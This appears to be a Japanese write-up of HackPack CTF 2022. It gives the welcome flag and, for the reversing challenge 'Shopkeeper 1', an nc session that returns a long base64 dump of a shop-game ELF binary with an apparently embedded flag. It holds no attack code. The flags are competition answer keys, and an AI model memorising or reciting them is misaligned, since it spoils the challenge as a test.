HackPack CTF 2022 Writeup

この大会は2022/4/9 0:00(JST)~2022/4/10 0:00(JST)に開催されました。
今回もチームで参戦。結果は600点で229チーム中70位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

flag{w3Lc0mE_2_tH3_p4ck_2022}

Shopkeeper 1 (rev)

$ nc cha.hackpack.club 10992
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAEBFAAAAAAABAAAAAAAAAADg8AAAAAAAAAAAAAEAAOAAL
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAaAIAAAAAAABoAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAACoAgAAAAAAAKgCQAAAAAAAqAJAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
AAAAAAABAAAABAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAFAHAAAAAAAAUAcAAAAAAAAAEAAA
AAAAAAEAAAAFAAAAABAAAAAAAAAAEEAAAAAAAAAQQAAAAAAA7QsAAAAAAADtCwAAAAAAAAAQAAAA
AAAAAQAAAAQAAAAAIAAAAAAAAAAgQAAAAAAAACBAAAAAAACoBQAAAAAAAKgFAAAAAAAAABAAAAAA
AAABAAAABgAAABAuAAAAAAAAED5AAAAAAAAQPkAAAAAAAIkCAAAAAAAAoAIAAAAAAAAAEAAAAAAA
AAIAAAAGAAAAIC4AAAAAAAAgPkAAAAAAACA+QAAAAAAA0AEAAAAAAADQAQAAAAAAAAgAAAAAAAAA
BAAAAAQAAADEAgAAAAAAAMQCQAAAAAAAxAJAAAAAAABEAAAAAAAAAEQAAAAAAAAABAAAAAAAAABQ
5XRkBAAAAMwjAAAAAAAAzCNAAAAAAADMI0AAAAAAAFwAAAAAAAAAXAAAAAAAAAAEAAAAAAAAAFHl
dGQHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAUuV0
ZAQAAAAQLgAAAAAAABA+QAAAAAAAED5AAAAAAADwAQAAAAAAAPABAAAAAAAAAQAAAAAAAAAvbGli
NjQvbGQtbGludXgteDg2LTY0LnNvLjIABAAAABAAAAABAAAAR05VAAAAAAADAAAAAgAAAAAAAAAE
AAAAFAAAAAMAAABHTlUARNd+Y8jcZOOTEoAAzxNSOwI6nUQCAAAAEQAAAAEAAAAGAAAAAAAAAAAB
EAARAAAAAAAAACkdjBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALQAAABIAAAAAAAAAAAAA
AAAAAAAAAAAAIwAAABIAAAAAAAAAAAAAAAAAAAAAAAAASgAAABIAAAAAAAAAAAAAAAAAAAAAAAAA
UQAAABIAAAAAAAAAAAAAAAAAAAAAAAAANQAAABIAAAAAAAAAAAAAAAAAAAAAAAAAZwAAABIAAAAA
AAAAAAAAAAAAAAAAAAAAFwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAOwAAABIAAAAAAAAAAAAAAAAA
AAAAAAAAXwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAhQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAKAAA
ABIAAAAAAAAAAAAAAAAAAAAAAAAACwAAABIAAAAAAAAAAAAAAAAAAAAAAAAAHQAAABIAAAAAAAAA
AAAAAAAAAAAAAAAAEgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAWAAAABIAAAAAAAAAAAAAAAAAAAAA
AAAAGAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAQwAAABEAGACgQEAAAAAAAAgAAAAAAAAAAGxpYmMu
c28uNgBmZmx1c2gAZXhpdABzcmFuZABmb3BlbgBwdXRzAHRpbWUAcHV0Y2hhcgBmZ2V0YwBnZXRj
aGFyAHN0ZG91dABmY2xvc2UAc3lzdGVtAGZ3cml0ZQBmcHJpbnRmAF9fbGliY19zdGFydF9tYWlu
AEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAAAAAgACAAIAAgACAAIAAgACAAIAAAACAAIAAgAC
AAIAAgACAAEAAQABAAAAEAAAAAAAAAB1GmkJAAACAHkAAAAAAAAA8D9AAAAAAAAGAAAABgAAAAAA
AAAAAAAA+D9AAAAAAAAGAAAACgAAAAAAAAAAAAAAoEBAAAAAAAAFAAAAEQAAAAAAAAAAAAAAGEBA
AAAAAAAHAAAAAQAAAAAAAAAAAAAAIEBAAAAAAAAHAAAAAgAAAAAAAAAAAAAAKEBAAAAAAAAHAAAA
AwAAAAAAAAAAAAAAMEBAAAAAAAAHAAAABAAAAAAAAAAAAAAAOEBAAAAAAAAHAAAABQAAAAAAAAAA
AAAAQEBAAAAAAAAHAAAABwAAAAAAAAAAAAAASEBAAAAAAAAHAAAACAAAAAAAAAAAAAAAUEBAAAAA
AAAHAAAACQAAAAAAAAAAAAAAWEBAAAAAAAAHAAAACwAAAAAAAAAAAAAAYEBAAAAAAAAHAAAADAAA
AAAAAAAAAAAAaEBAAAAAAAAHAAAADQAAAAAAAAAAAAAAcEBAAAAAAAAHAAAADgAAAAAAAAAAAAAA
eEBAAAAAAAAHAAAADwAAAAAAAAAAAAAAgEBAAAAAAAAHAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
SIsFOSsAAEiNNW8MAABIice4AAAAAOgl+///SIsFHisAAEiJx+g2+///62+LRfBImItEhZiJwYtF
7InCicgPr8KJwg+2Be4qAAAB0IgF5ioAAItF8EiYi0SF4CtF7InCi0XwSJiJVIXg6zCLRfCNUDFI
iwXIKgAASI01cQsAAEiJx7gAAAAA6LT6//9IiwWtKgAASInH6MX6//+Q6T0BAAAPtgWQKgAAD7bQ
SIsFjioAAEiNNeELAABIice4AAAAAOh6+v//i1XgSIsFcCoAAEiNNdwLAABIice4AAAAAOhc+v//
i1XkSIsFUioAAEiNNdMLAABIice4AAAAAOg++v//i1XoSIsFNCoAAEiNNc0LAABIice4AAAAAOgg
+v//SIsFGSoAAEiJx+gx+v//i0XohcAPjqQAAABIiwX/KQAASInBuh0AAAC+AQAAAEiNPaoLAADo
Nvr//0iLBd8pAABIicfo9/n//7gBAAAA631IiwXJKQAASInBug4AAAC+AQAAAEiNPZILAADoAPr/
/0iLBakpAABIicfowfn//8ZF/wDrOb8BAAAA6NH5//9IiwWKKQAASInBujMAAAC+AQAAAEiNPWYL
AADowfn//0iLBWopAABIicfogvn//4B9/wAPhf/6//+4AAAAAMnDVUiJ5UiD7BAPtgU6KQAAPBN0
OUiLBTcpAABIicG6IQAAAL4BAAAASI09SwsAAOhu+f//SIsFFykAAEiJx+gv+f//uAAAAADpCAIA
AL8AAAAA6Av5//9IiUX4SIsF8CgAAEiLVfhIjTUvCwAASInHuAAAAADo2Pj//0iLRfiJx+it+P//
6bcBAABIiwXBKAAASInBuiMAAAC+AQAAAEiNPQULAADo+Pj//0iLBaEoAABIicfoufj//+iE+P//
iEX3gH33AHk5SIsFhCgAAEiJwboUAAAAvgEAAABIjT3sCgAA6Lv4//9IiwVkKAAASInH6Hz4//+4
AAAAAOlVAQAAD7ZF94PoMIhF9w++VfcPtgU1KAAAD7bAOcJ/BoB99wB5OUiLBSkoAABIicG6FAAA
AL4BAAAASI09kQoAAOhg+P//SIsFCSgAAEiJx+gh+P//uAAAAADp+gAAAEiLBfAnAABIicG6GQAA
AL4BAAAASI09bQoAAOgn+P//SIsF0CcAAEiJx+jo9///6LP3//+D6DCIRfboGPj//4nBumdmZmaJ
yPfqwfoCicjB+B8pwonQiUXwi1XwidDB4AIB0AHAKcGJyIlF8A++RfY5RfB1REiLBXsnAABIicG6
CQAAAL4BAAAASI09EgoAAOiy9///SIsFWycAAEiJx+hz9///D7YVRCcAAA+2RfcB0IgFOCcAAOst
SIsFNycAAItV8EiNNeIJAABIice4AAAAAOgg9///SIsFGScAAEiJx+gx9///D7YFAicAADw3D4U6
/v//uAEAAADJw1VIieVIg+wQuAAAAADoO/j//4TAD4SgAAAASI01pgkAAEiNPaEJAADo/vb//0iJ
RfBIg33wAHUlSI09lQkAAOhX9v//SIsFsCYAAEiJx+jI9v//vwAAAADo3vb//0iLRfBIicfoYvb/
/4hF/+saD75F/4nH6BL2//9Ii0XwSInH6Eb2//+IRf+Aff//deBIi0XwSInH6BH2//+/CgAAAOjn
9f//SIsFUCYAAEiJx+ho9v//uAEAAADrBbgAAAAAycNVSInlSIPsELgAAAAA6Nf8//+EwA+EoAAA
AEiNNeUIAABIjT39CAAA6D32//9IiUXwSIN98AB1JUiNPdQIAADolvX//0iLBe8lAABIicfoB/b/
/78AAAAA6B32//9Ii0XwSInH6KH1//+IRf/rGg++Rf+Jx+hR9f//SItF8EiJx+iF9f//iEX/gH3/
/3XgSItF8EiJx+hQ9f//vwoAAADoJvX//0iLBY8lAABIicfop/X//7gBAAAA6wW4AAAAAMnDVUiJ
5UiD7EBIjUXASLpiYXNlNjQgY0iJEMdACGhhbABIjUXASInH6A31//9IjQU+CAAASIlF+LgAAAAA
6D3+//+EwHQKuAAAAADo8P7//7gAAAAAycMPHwBBV0mJ10FWSYn2QVVBif1BVEyNJXgiAABVSI0t
eCIAAFNMKeVIg+wI6FP0//9Iwf0DdBsx2w8fAEyJ+kyJ9kSJ70H/FNxIg8MBSDnddepIg8QIW11B
XEFdQV5BX8MPHwDDAAAASIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAIAAAAAAFdlbGNvbWUg
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
